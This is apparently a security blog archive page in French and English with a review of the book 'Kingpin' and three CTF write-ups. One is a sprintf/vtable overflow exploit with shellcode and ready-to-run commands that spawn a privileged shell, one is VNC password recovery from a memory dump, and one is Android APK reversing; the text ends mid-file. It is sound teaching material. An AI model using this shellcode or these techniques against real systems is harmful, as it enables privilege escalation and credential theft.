mercredi 27 avril 2011

[Book] Kingpin: How One Hacker Took Over The Billion-Dollar CyberCrime Underground

Hello,

For once in a while, why not write in English?
Afterall, you are around 20-30% of English speaking people reading up my blog, it would not be fair not to speak about this great book and not share it more.

Small book presentation

This book is written by Kevin Poulsen a former hacker and now senior editor in Wired. He is the creator and maintainer of the "Threat Level" section in Wired. He is mostly known for his various hacks such as the 911 red Ferrari hack. Now, he is one of the most recognized cyber crime journalists out there.

That is the story of a once recognized computer security specialist who turned into a super villain. "One day a hacker, always a hacker" could not describe better this story. This is a great journey in the underworld while staying safely at our place.

Summary

Max Butler, grew up in Meridian, Idaho with his parents until they got divorced in his fourteenth year. It devastated him, he wound up living in Meridian with his mother and his younger sister Lisa. His passion of  computers started out when he was young, his father who ran a computer store influenced him, it led him to write BASIC programs at the age of 8.

In his high school years, he began dating a girl named "Amy", they got pretty serious with high school ending. He was devoted to her and chose to go to the Boise university, the same as hers. From there, their adventure in the online world got more mixed up as TinyMUDs was becoming addictive. Jealousy led him to make threats to her and wound him up in prison for "deadly weapons": his hands ...

5 years later, he were to be welcomed by his old friends (Tim Spencer and the others from his highschool days) in the "The Hungry Programmers" house. From this day onward he were to get jobs from his buddies and recreationnal hacker otherwise. His hacking led him to get a lawsuit by "Software Publishers Association" and be featured in Wired, this whole affair introduced Max to the FBI. New assignments and a new life yet to begin.

Thus began "the white hat years", but still a recreationnal hacker, A new home, a new job, the only thing missing was someone to share it with, he met his wife Kimi Winters at a rave party. A home, a devoted wife, beloved friends and a good career perspective. He would waste it in some weeks.
In 1999, a BIND buffer overflow vulnerability was uncovered.
bcopy(fname, anbuf, alen = (char *)*cpp - fname);
It was something huge, it could have been devastating. He was decided to fix it, he wrote a worm which would propagate itself through vulnerable systems to patch them and backdoor them. All the machines were now fixed and insecure to only one hacker: "Max Vision". He got tolerated by his FBI colleagues under the condition he would collaborate with the FBI once again, he failed to do so, busted was it.
His acquired reputation in the white hat world through www.whitehats.com and arachNIDS would have ensured him a a brilliant career and life. He was to forget that he had a pending judgement, it got him 18 months in prison and unemployability, another injustice for him did he think. Nobody wanted to hire him anymore ... A slow descent to the underground was to begin.

In the joint, he met with Jeff Norminton who would later introduce him to Chris Aragon, his partner in crime. From there, it was just a matter of time for escalation. From ShadowCrew to CarderPlanet, he was hacking fraudsters from all over the world. Counterfeiting credit cards was their business, it was juicy, but not enough.

The law enforcement services, had their tentacles in the underground forums, ShadowCrew and CarderPlanet for some time. On July 28, 2004, King Arthur decided it was time to close CarderPlanet. ShadowCrew were to follow, 26 October 2004, the USS, FBI, took it down with its administrators and others as well. The underground was crushed, paranoid and homeless, nobody would think of a board for a long time ... or so they thought.

Max and his partner, Chris Aragon, were suspicious, not trusting any existing smaller criminal forums. Max decided, the best would be a site were he could do business safely without it being corrupted or full of feds. Max as IceMan, launched CardersMarket in late 2005, a new home for IceMan criminal activity was born.

After some months of activity, his forum was up and running, it was not enough. The carding community needed to be reunited in the post-ShadowCrew carding scene. He would provide that by taking over DarkMarket, ScandinavianCarding, the Vouched, CardingWorld and TalkCash. Only DarkMarket survived assimilitation thanks to its backup and the Russian one due to language barriers.

One Hacker to rule them all, One Hacker to find them,
One Hacker to bring them all and in the darkness bind them

During that time, Master Splyntr, a FBI UnderCover, would take over DarkMarket. He managed to uncover carders identities, arrest them and prevent fraud through the insider information he had now access to.

From this point onward, it was only a matter of time for important ring leaders to fall one after another. On September 5, 2007, Max got busted at his appartment during a nap he'd taken. He did not managed to shut down his computer, two weeks later the CERT team decrypted his encrypted data (with DriveCrypt), 1.8 millions credit cards dumps were found. At the same period, some Albert Gonzalez, an ancient ShadowCrew informant for the FBI, was busted for TJ MAX and others for 45.6 millions dumps.

One hacker owning thousands and thousands of people in the USA. Think about it, we only see super heroes and super villains in comics ... what if they really existed?

What's next?

This book was mostly an eye opener on what existed and what methods cyber crooks and cyber criminals use to illegally make money. It is scary, it is real and it still have many more years to exist. Seems like security specialist is a future proof job, thanks or due to bank carelessness? Who would still be damn stupid to still use magnetic stripe only cards but banks? No really, it's expensive to change equipment .... but maybe not as much as cyber criminality.

We only scratched the surface of the iceberg, and yet it is profoundly interesting as a subject to study. Cyber-warfare? It has existed for years, but now it is taking bigger and bigger proportions. Would we see another BIND worm attack? We'll see, only time will tell. This is only the beginning, phear. Until then, hack and protect yourself and others.

This book really was enjoyable to read, this is a pure travel in the heart of the 21st century criminality and a sneak peek into cyber crooks mindset. A glimpse at a scary-true underground on the dark and white side of the force. Read it with envy, assimilate it with interest, paranoid they become and shadowy their world is. Enter the underground.

Phrack it, Read it, Enjoy it,

Cheers,

m_101

BIND vulnerability
One Hacker's Audacious Plan to Rule the Black Market in Stolen Credit Cards

lundi 25 avril 2011

Plaid Parliament of Pawning CTF: CPP1 in pwnables

Bonjour,

Ce week-end s'est déroulé le PPP CTF, je n'ai hélas pas pu y consacrer énormément de temps :(.

J'ai quand même pu toucher à quelques épreuves sympas dont un overflow sur un programme écrit en C++.

Nous avions affaire à un programme vulnérable à un overflow dû à l'usage de sprintf() et nous devions crafter une vtable afin de rediriger le flux d'exécution comme il fallait.

Tout d'abord on va reverser le programme.

Reversing for the better good?

La première routine dans main() est le check du nombre d'arguments.
.text:080487C9 ; =============== S U B R O U T I N E =======================================
.text:080487C9
.text:080487C9 ; Attributes: noreturn
.text:080487C9
.text:080487C9 main            proc near               ; DATA XREF: start+17 o
.text:080487C9
.text:080487C9 nptr            = dword ptr -30h
.text:080487C9 value           = dword ptr -2Ch
.text:080487C9 str             = dword ptr -28h
.text:080487C9 arg_0           = byte ptr  4
.text:080487C9
.text:080487C9                 lea     ecx, [esp+arg_0]
.text:080487CD                 and     esp, 0FFFFFFF0h
.text:080487D0                 push    dword ptr [ecx-4]
.text:080487D3                 push    ebp
.text:080487D4                 mov     ebp, esp
.text:080487D6                 push    ecx
.text:080487D7                 sub     esp, 24h
.text:080487DA                 mov     [ebp-18h], ecx
.text:080487DD                 mov     eax, [ebp-18h]
.text:080487E0                 cmp     dword ptr [eax], 2
.text:080487E3                 jg      short loc_80487F5
.text:080487E5                 mov     edx, [ebp-18h]
.text:080487E8                 mov     eax, [edx+4]
.text:080487EB                 mov     eax, [eax]
.text:080487ED                 mov     [esp+30h+nptr], eax
.text:080487F0                 call    usage

Nous avons ensuite un appel vers une fonction qui prend le pointeur this en paramètre.
.text:080487F5 ; ---------------------------------------------------------------------------
.text:080487F5
.text:080487F5 loc_80487F5:                            ; CODE XREF: main+1A j
.text:080487F5                 lea     eax, [ebp-0Ch]
.text:080487F8                 mov     [esp+30h+nptr], eax
.text:080487FB                 call    set_string_wrapper

Cette fonction va initialiser un pointeur de méthode dans l'objet en utilisant le pointeur this passé en paramètre.
.text:08048846 ; =============== S U B R O U T I N E =======================================
.text:08048846
.text:08048846 ; Attributes: bp-based frame
.text:08048846
.text:08048846 set_string_wrapper proc near            ; CODE XREF: main+32 p
.text:08048846
.text:08048846 arg_0           = dword ptr  8
.text:08048846
.text:08048846                 push    ebp
.text:08048847                 mov     ebp, esp
.text:08048849                 mov     eax, [ebp+arg_0]
.text:0804884C                 mov     dword ptr [eax], offset offset_show_string
.text:08048852                 pop     ebp
.text:08048853                 retn
.text:08048853 set_string_wrapper endp

Cette pointeur pointe vers l'addresse 0x08048B20 où se trouve l'addresse d'une fonction d'affichage.
.rodata:08048B20 offset_show_string dd offset show_string ; DATA XREF: set_string_wrapper+6

La fonction d'affichage est un simple wrapper pour printf() et prend une chaîne de caractère en paramètre (aucun intérêt à mon goût).
.text:08048854 ; =============== S U B R O U T I N E =======================================
.text:08048854
.text:08048854 ; Attributes: bp-based frame
.text:08048854
.text:08048854 show_string     proc near               ; DATA XREF: .rodata:offset_show_string o
.text:08048854
.text:08048854 str             = dword ptr  0Ch
.text:08048854
.text:08048854                 push    ebp
.text:08048855                 mov     ebp, esp
.text:08048857                 sub     esp, 8
.text:0804885A                 mov     eax, [ebp+str]
.text:0804885D                 mov     [esp+4], eax
.text:08048861                 mov     dword ptr [esp], offset aS ; "%s"
.text:08048868                 call    _printf
.text:0804886D                 leave
.text:0804886E                 retn
.text:0804886E show_string     endp

Au final, set_string_wrapper() va faire la chose suivante:
this->ptr = 0x08048B20
*0x08048B20 = show_string
ce qui donne donc this->ptr->show_string().

Maintenant revenons à la suite de notre fonction main(). Celle-ci va ensuite faire un
appel à atoi() pour convertir le argv[2] en entier pour ensuite appeler vuln() en passant
argv[2] et argv[1].
.text:08048800                 mov     edx, [ebp-18h]
.text:08048803                 mov     eax, [edx+4]
.text:08048806                 add     eax, 8
.text:08048809                 mov     eax, [eax]
.text:0804880B                 mov     [esp+30h+nptr], eax ; nptr
.text:0804880E                 call    _atoi
.text:08048813                 mov     [ebp-8], eax
.text:08048816                 mov     edx, [ebp-18h]
.text:08048819                 mov     eax, [edx+4]
.text:0804881C                 add     eax, 4
.text:0804881F                 mov     eax, [eax]
.text:08048821                 mov     [esp+30h+str], eax
.text:08048825                 mov     eax, [ebp-8]
.text:08048828                 mov     [esp+30h+value], eax
.text:0804882C                 lea     eax, [ebp-0Ch]
.text:0804882F                 mov     [esp+30h+nptr], eax
.text:08048832                 call    vuln
.text:08048832 main            endp
.text:08048832
.text:08048837 ; ---------------------------------------------------------------------------
.text:08048837                 mov     eax, 0
.text:0804883C                 add     esp, 24h
.text:0804883F                 pop     ecx
.text:08048840                 pop     ebp
.text:08048841                 lea     esp, [ecx-4]
.text:08048844                 retn

Ca nous donne donc:
vuln(this, atoi(argv[2]), argv[1]);

Regardons ce qui se passe dans vuln(). On repère 2 fonction intéressantes: sprintf() et memcpy() qui peuvent être susceptible à des overflows si des arguments sont controlés.
.text:0804896C ; =============== S U B R O U T I N E =======================================
.text:0804896C
.text:0804896C ; Attributes: noreturn bp-based frame
.text:0804896C
.text:0804896C vuln            proc near               ; CODE XREF: main+69 p
.text:0804896C
.text:0804896C buf             = byte ptr -32h
.text:0804896C this            = dword ptr  8
.text:0804896C value           = dword ptr  0Ch
.text:0804896C str             = dword ptr  10h
.text:0804896C
.text:0804896C                 push    ebp
.text:0804896D                 mov     ebp, esp
.text:0804896F                 sub     esp, 58h
.text:08048972                 mov     eax, [ebp+value]
.text:08048975                 mov     [esp+0Ch], eax
.text:08048979                 mov     eax, [ebp+str]
.text:0804897C                 mov     [esp+8], eax
.text:08048980                 mov     dword ptr [esp+4], offset aUploading___SD ; "Uploading... [%s]: %d pts\n"
.text:08048988                 lea     eax, [ebp+buf]
.text:0804898B                 mov     [esp], eax      ; s
.text:0804898E                 call    _sprintf
.text:08048993                 mov     dword ptr [esp+8], 32h ; n
.text:0804899B                 lea     eax, [ebp+buf]
.text:0804899E                 mov     [esp+4], eax    ; buf
.text:080489A2                 mov     dword ptr [esp], offset s ; dest
.text:080489A9                 call    _memcpy
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
.text:080489B5                 mov     dword ptr [esp+4], offset s
.text:080489BD                 mov     eax, [ebp+this]
.text:080489C0                 mov     [esp], eax
.text:080489C3                 call    edx
.text:080489C5                 mov     eax, [ebp+this]
.text:080489C8                 mov     [esp], eax
.text:080489CB                 call    send_points
.text:080489CB vuln            endp
.text:080489CB
.text:080489D0 ; ---------------------------------------------------------------------------
.text:080489D0                 leave
.text:080489D1                 retn

On a les choses suivantes:
sprintf(buf, "Uploading... [%s]: %d pts\n", argv[1], atoi(argv[2]));
memcpy(s, buf, 50);
this->ptr->fct(s); // avec fct normalement égal à l'adresse de show_string()
send_points(this);

On a les variables suivantes:
buf = buffer local de 50 octets
s = buffer global

Donc la vulnérabilitée se trouve au niveau du sprintf() qui overflow sur une partie de la stack et qui permet donc de re-écrire en autre this.
On va re-écrire this et pouvoir se crafter une vtable dans le buffer global, ça permet de bypasser l'ASLR sans souci.

Je parle bien entendu de cette partie:
.text:080489AE                 mov     eax, [ebp+this]
.text:080489B1                 mov     eax, [eax]
.text:080489B3                 mov     edx, [eax]
[...]
.text:080489C3                 call    edx

Exploitation in progress ...

On va chercher à connaître l'offset après lequel on re-écrit this.
$ ssh cpp1_135@a5.amalgamated.biz
cpp1_135@a5.amalgamated.biz's password: 
Linux a5 2.6.32-5-686-bigmem #1 SMP Tue Mar 8 22:14:55 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Apr 25 08:44:32 2011 from XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
cpp1_135@a5:~$ ls='ls --color -lash'
cpp1_135@a5:~$ cd /opt/pctf/cpp1/
cpp1_135@a5:/opt/pctf/cpp1$ ls
total 20K
4.0K drwxr-x--- 2 root cpp1users 4.0K Apr 20 20:48 .
4.0K drwxr-xr-x 9 root root      4.0K Apr 21 12:24 ..
8.0K -rwxr-sr-x 1 root cpp1key   4.9K Apr 20 20:44 first_cpp
4.0K -rw-r----- 1 root cpp1key     27 Apr 15 19:35 key
cpp1_135@a5:/opt/pctf/cpp1$ gdb -q ./first_cpp 
Reading symbols from /opt/pctf/cpp1/first_cpp...(no debugging symbols found)...done.
(gdb) r `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10
Starting program: /opt/pctf/cpp1/first_cpp `printf "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"` 10

Program received signal SIGSEGV, Segmentation fault.
0x080489b1 in ?? ()
(gdb) i r
eax            0x35624134 895631668
ecx            0x0 0
edx            0x0 0
ebx            0xb775eff4 -1217007628
esp            0xbfed57f0 0xbfed57f0
ebp            0xbfed5848 0xbfed5848
esi            0x0 0
edi            0x0 0
eip            0x80489b1 0x80489b1
eflags         0x210207 [ CF PF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/10i $eip
0x80489b1: mov    (%eax),%eax
0x80489b3: mov    (%eax),%edx
0x80489b5: movl   $0x8049dc0,0x4(%esp)
0x80489bd: mov    0x8(%ebp),%eax
0x80489c0: mov    %eax,(%esp)
0x80489c3: call   *%edx
0x80489c5: mov    0x8(%ebp),%eax
0x80489c8: mov    %eax,(%esp)
0x80489cb: call   0x8048870
0x80489d0: leave  
(gdb) 

this pointant vers une valeur invalide, on trigger notre segfault :).

Avec le pattern on obtient vite l'offset:
~/repos/msf3$ tools/pattern_offset.rb `printf "\x34\x41\x62\x35"`
44

On doit d'abord faire de petits calculs d'offset pour savoir où se trouve notre chaîne:
0x08049DC0 => addresse du buffer global contenant notre chaîne entière
// addresse de la string qu'on soumet à l'application
// strlen("Uploading...") == 14
0x08049DC0 + 14 = 0x08049DCE
// addresse où se trouve notre this
0x08049DCE + 44 = 0x08049DFA


On va maintenant pouvoir pawn le challenge comme il faut, pour celà, je vais vous montrer 2 patterns d'attaques j'ai utilisé pour ce faire.

On a this->ptr->fct(), et on contrôle this (et donc les autres pointeurs).
On peut exploiter le challenge en utilisant le code suivante:
[jump code (7 bytes)] [ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ junk (29 bytes) ] [ this (4bytes) ] [ payload ]
<--------------------------------------------------------------------------------><----------------><--------->
                    44 bytes                                                      |    4 bytes     |   ?
this = 0x08049dd5 = address de ptr
ptr  = 0x08049dd9
fct  = 0x08049dce

Je vais utiliser la payload suivante (bash -p):
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

./first_cpp `python -c 'print "\x89\xe0\x83\xc0\x78\xff\xe0" + "\xd9\x9d\x04\x08" + "\xce\x9d\x04\x08" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa" + "\xd5\x9d\x04\x08" + "\x90" * 128 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'` 10

Le jump code est le suivante:
BITS 32

mov eax, esp
add eax, 120
jmp eax

Avec ce pattern on saute sur la stack pour exécuter notre code.

Je voulais un pattern un peu plus propre n'ayant pas à overflow trop la stack.
Pattern plus propre permettant d'avoir tout dans le buffer global:
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (5 bytes)]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6

En vrai en stack on a la chose suivante:
[ ptr (4bytes)  ] [ fct ptr (4 bytes) ] [ payload1 (23 bytes ] [ junk (13 bytes)] [ this (4bytes) ] [ payload2 ]
this = 0x08049dce = address of ptr
ptr  = 0x08049dd2
fct  = 0x08049dd6

$ ./first_cpp `python -c 'print "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 13 + "\xce\x9d\x04\x08"'` 10
$ cat key
Virtual_function_is_Virtue

Dans le buffer global on a ainsi l'équivalent suivant:
global_buffer = "Uploading..." + "\xd2\x9d\x04\x08" + "\xd6\x9d\x04\x08" + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x90" * 5

Et voilà, pawned,

Conclusion

On a pu voir que la mauvaise utilisation de fonctions dangereuses et l'utilisation de variables globales peut rendre une exploitation de vtable et vptr plutôt possible :).

J'espère que ça vous a plu :),

m_101

lundi 4 avril 2011

Prequals NDH2011: Forensic100 (Windows Memory Analysis)

Hi!

Today we are going to look after the forensic 100 challenge of the prequals :).
We were offered a memory dump to analyze.

Tools

The needed tools for the analysis are basically the following:
Volatility: Windows Memory Analysis
VolReg: Volatility plugin for registry analysis
VNC Password Dumper: VNC Password decrypter

Analysis

We first need to know what operating system dump we are analysing:
$ python ./volatility ident -f ../Desktop/dump.raw 
              Image Name: ../Desktop/dump.raw
              Image Type: Service Pack 2
                 VM Type: pae
                     DTB: 0xae2000
                Datetime: Thu Mar 10 14:28:56 2011


Ok the dump is recognized to be a Windows XP SP2 RAM dump (you can check it using strings ;)).
We are after a VNC password but we would like to know which VNC software is used:
$ python ./volatility pslist -f ../Desktop/dump.raw 
Name                 Pid    PPid   Thds   Hnds   Time  
System               4      0      53     258    Thu Jan 01 00:00:00 1970  
smss.exe             544    4      3      21     Thu Mar 10 13:02:27 2011  
csrss.exe            608    544    11     319    Thu Mar 10 13:02:29 2011  
winlogon.exe         632    544    19     440    Thu Mar 10 13:02:29 2011  
services.exe         684    632    16     338    Thu Mar 10 13:02:30 2011  
lsass.exe            696    632    19     328    Thu Mar 10 13:02:30 2011  
svchost.exe          860    684    17     210    Thu Mar 10 13:02:31 2011  
svchost.exe          928    684    9      232    Thu Mar 10 13:02:31 2011  
svchost.exe          1020   684    59     1148   Thu Mar 10 13:02:31 2011  
svchost.exe          1064   684    4      74     Thu Mar 10 13:02:31 2011  
svchost.exe          1300   684    14     203    Thu Mar 10 13:02:33 2011  
spoolsv.exe          1472   684    10     108    Thu Mar 10 13:02:34 2011  
explorer.exe         1580   1564   11     446    Thu Mar 10 13:02:34 2011  
ctfmon.exe           1664   1580   1      66     Thu Mar 10 13:02:35 2011  
alg.exe              500    684    6      104    Thu Mar 10 13:02:58 2011  
wscntfy.exe          532    1020   1      36     Thu Mar 10 13:02:59 2011  
winvnc4.exe          1696   684    3      67     Thu Mar 10 13:09:47 2011  
mmc.exe              1512   1580   7      241    Thu Mar 10 13:28:14 2011  
wmiprvse.exe         1460   860    13     204    Thu Mar 10 13:28:33 2011

We now know that WinVNC 4 was used, at this point we can dump the memory of the process and the executable itself. But no point, we need to know the registry key under which the password might be stored:
$ strings -e l ../Desktop/dump.raw | grep -i vnc | grep -i hkey
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4
Poste de travail\HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4

Now on with the registry analysis, we run hivescan to get hive offsets.
$ python ./volatility hivescan -f ../Desktop/dump.raw Offset          (hex)          
44759904        0x2aafb60      
44765192        0x2ab1008      
47600264        0x2d65288      
49462112        0x2f2bb60      
57268056        0x369d758      
117583880       0x7023008      
117586784       0x7023b60      
138480480       0x8410b60      
140337160       0x85d6008      
144967512       0x8a40758      
145000296       0x8a48768      
146788360       0x8bfd008      
167239688       0x9f7e008      

We use the first offset with hivelist to show where hives are located at.
$ python ./volatility hivelist -f ../Desktop/dump.raw -o 0x2aafb60
Address      Name
0xe1809008   \Documents and Settings\eleve\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1986008   \Documents and Settings\eleve\NTUSER.DAT
0xe17a9768   \Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe179b758   \Documents and Settings\LocalService\NTUSER.DAT
0xe1770008   \Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe175fb60   \Documents and Settings\NetworkService\NTUSER.DAT
0xe13ffb60   \WINDOWS\system32\config\software
0xe14ab008   \WINDOWS\system32\config\default
0xe14abb60   \WINDOWS\system32\config\SAM
0xe14e4758   \WINDOWS\system32\config\SECURITY
0xe12e8288   [no name]
0xe1035b60   \WINDOWS\system32\config\system
0xe102e008   [no name]

Since we now that we are interested by "HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4", we are going to work directly with the SOFTWARE hive.
$ python ./volatility printkey -f ../Desktop/dump.raw -o 0xe13ffb60 "RealVNC\\WinVNC4"
Key name: WinVNC4 (Stable)
Last updated: Thu Mar 10 13:10:51 2011

Subkeys:

Values:
REG_BINARY Password   : 
0000   DA 6E 31 84 95 77 AD 6B                            .n1..w.k
 (Stable)
REG_SZ    SecurityTypes : VncAuth (Stable)
REG_SZ    ReverseSecurityTypes : None (Stable)
REG_DWORD QueryConnect : 0 (Stable)
REG_DWORD QueryOnlyIfLoggedOn : 0 (Stable)

Here we are, we got the encrypted form of the password, now is time to decrypt it using vncpwdump:

$ wine vncdump/vncpwdump.exe -k "DA6E31849577AD6B"

VNCPwdump v.1.0.6 by patrik@cqure.net
-------------------------------------
Password: secretpq

As a bonus, we can also decrypt it using Cain&Abel:

Hope you liked it,

m_101

- Plugins: Volatility plugins
- Tool: Memoryze
- Write-up: Forensic100

Prequals NDH2011: RCE200 (Android)

On va commencer par l'épreuve de reversing Android.
C'était la première fois que je jouais avec de l'Android, seems fun :).

Introduction

On avait à disposition une simple application dans laquelle il nous fallait parler.

Au lancement de l'application, nous somme accueillis par le screen suivant (sans le petit texte que j'ai ajouté :)):

 Il fallait prononcer un mot correctement pour obtenir le flag:
Non ce n'est pas le flag :).
J'ai pas réussi à l'obtenir par ce biais.

Pour ce challenge, plusieurs tools étaient disponibles, tel que Dex2Jar ou APKTool par exemple.
Ils ont plusieurs avantages et inconvénients, Dex2Jar nous sort du bytecode Java qu'on peut décompiler avec JD mais nous n'avons pas la possibilitée de facilement modifier l'APK.
APKTool nous permet de modifier l'APK et de le reconstruire correctement, par contre pas forcément évident à trouver la routine qui nous intéresse (à coup de grep ça peut se faire :)).

J'ai fais usage de la premire méthode pour analyser le programme:
dex2jar.sh RCE200.apk
jd-gui RCE200.apk.dex2jar.jar

Et le deuxième tool pour ajouter mon texte et patcher une condition afin de montrer un hash tous le temps (normalement il doit y avoir un affichage que lorsque le bon mot est prononcé).
Je me suis donc fais 2 helpers pour manipuler facilement le dump smali obtenu:

depack.sh
#!/bin/sh

cd apktool
java -jar apktool.jar d ../$1
mv `echo $1 | cut -d '.' -f 1` ../

pack.sh
#!/bin/sh

# if android key does not exist, we create one
if [ ! -f ~/keystore-android ]
then
    keytool -genkeypair -v -keystore ~/keystore-android -alias rce200 -keyalg RSA -keysize 2048
fi

#
if [ -f $1.aligned.apk ]
then
    rm $1.aligned.apk
fi

cd apktool
export PATH=./:$PATH
java -jar apktool.jar b ../$1
cd ../
jarsigner -verbose -keystore ~/keystore-android $1/dist/$1.apk rce200
cp $1/dist/$1.apk ./$1.rebuilt.apk
./zipalign -v 4 $1.rebuilt.apk $1.aligned.apk
rm $1.rebuilt.apk


Let's reverse it!

Après avoir transformer notre .apk and .jar, nous ouvrons celui-ci avec jd-gui et on se retrouve avec 4 sources .java: ReverseMe.java, a.java, b.java et c.java.

Le premier fichier (ReverseMe.java):

package ndh.prequals.rce;

import android.app.Activity;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.widget.Button;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.List;

public class ReverseMe extends Activity
{
  private a a = null;
  private TextView b = null;

  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    if ((paramInt1 == 1234) && (paramInt2 == -1))
    {
      ArrayList localArrayList = paramIntent.getStringArrayListExtra("android.speech.extra.RESULTS");
      if ((!localArrayList.isEmpty()) && (a.b((String)localArrayList.get(0))))
      {
        TextView localTextView = this.b;
        String str = a.a((String)localArrayList.get(0));
        localTextView.setText(str);
      }
    }
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
  }

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    Button localButton = (Button)findViewById(2131034114);
    TextView localTextView = (TextView)findViewById(2131034113);
    this.b = localTextView;
    PackageManager localPackageManager = getPackageManager();
    String str1 = c.d();
    Intent localIntent = new Intent(str1);
    if (localPackageManager.queryIntentActivities(localIntent, 0).size() != 0)
    {
      String str2 = c.b();
      String str3 = Build.PRODUCT;
      if (!str2.equals(str3))
      {
        b localb = new b(this);
        localButton.setOnClickListener(localb);
      }
    }
    a locala = new a();
    this.a = locala;
  }
}

onCreate() va mettre en place les différents éléments de l'application à sa création comme l'image, le texte et le button.
onActivityResult() est le handler qui va afficher notre flag si nous prononçons le bon mot. (Patchez la condition pour toujours avoir un hash d'affiché :)).

Le deuxième fichier (a.java):

package ndh.prequals.rce;

import android.os.Build;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public final class a
{
  public static String a(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.e());
      byte[] arrayOfByte = paramString.getBytes();
      localMessageDigest.update(arrayOfByte);
      localObject1 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      int i = 0;
      int j = localObject1.length;
      if (i >= j)
      {
        localObject1 = localStringBuffer1.toString();
        return localObject1;
      }
      String str;
      for (Object localObject2 = Integer.toHexString(localObject1[i] & 0xFF); ; localObject2 = str)
      {
        if (((String)localObject2).length() >= 2)
        {
          StringBuffer localStringBuffer2 = localStringBuffer1.append((String)localObject2);
          i += 1;
          break;
        }
        str = "0" + (String)localObject2;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        Object localObject1 = null;
    }
  }

  public static boolean b(String paramString)
  {
    try
    {
      MessageDigest localMessageDigest = MessageDigest.getInstance(c.c());
      byte[] arrayOfByte1 = paramString.getBytes();
      localMessageDigest.update(arrayOfByte1);
      byte[] arrayOfByte2 = localMessageDigest.digest();
      StringBuffer localStringBuffer1 = new StringBuffer();
      String str1 = c.b();
      String str2 = Build.PRODUCT;
      if (str1.equals(str2))
        StringBuffer localStringBuffer2 = localStringBuffer1.append(65);
      int i = 0;
      int j = arrayOfByte2.length;
      if (i >= j)
      {
        String str3 = localStringBuffer1.toString();
        String str4 = c.a();
        bool = str3.equals(str4);
        return bool;
      }
      String str5;
      for (Object localObject = Integer.toHexString(bool[i] & 0xFF); ; localObject = str5)
      {
        if (((String)localObject).length() >= 2)
        {
          StringBuffer localStringBuffer3 = localStringBuffer1.append((String)localObject);
          i += 1;
          break;
        }
        str5 = "0" + (String)localObject;
      }
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      while (true)
        boolean bool = false;
    }
  }
}

La méthode a() nous renvoi le hash sha1 de la chaine qu'on met en paramètre et b() nous renvoi un hash MD5.

Le troisième fichier (b.java):
package ndh.prequals.rce;

import android.content.Intent;
import android.view.View;
import android.view.View.OnClickListener;

final class b
  implements View.OnClickListener
{
  b(ReverseMe paramReverseMe)
  {
  }

  public final void onClick(View paramView)
  {
    ReverseMe localReverseMe = this.a;
    if (paramView.getId() == 2131034114)
    {
      String str = c.d();
      Intent localIntent1 = new Intent(str);
      Intent localIntent2 = localIntent1.putExtra("android.speech.extra.LANGUAGE_MODEL", "free_form");
      Intent localIntent3 = localIntent1.putExtra("android.speech.extra.PROMPT", "Enter password");
      localReverseMe.startActivityForResult(localIntent1, 1234);
    }
  }
}

Cette classe a une unique méthode qui va lancer la boîte de dialogue de reconnaissance vocale.

Le dernier fichier (c.java):
package ndh.prequals.rce;

public final class c
{
  private static byte[] a = { 90, 5, 88, 88, 13, 13, 90, 90, 10, 4, 9, 11, 93, 90, 11, 15, 93, 95, 5, 93, 5, 8, 8, 88, 90, 95, 9, 14, 90, 8, 13, 94 };
  private static byte[] b = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
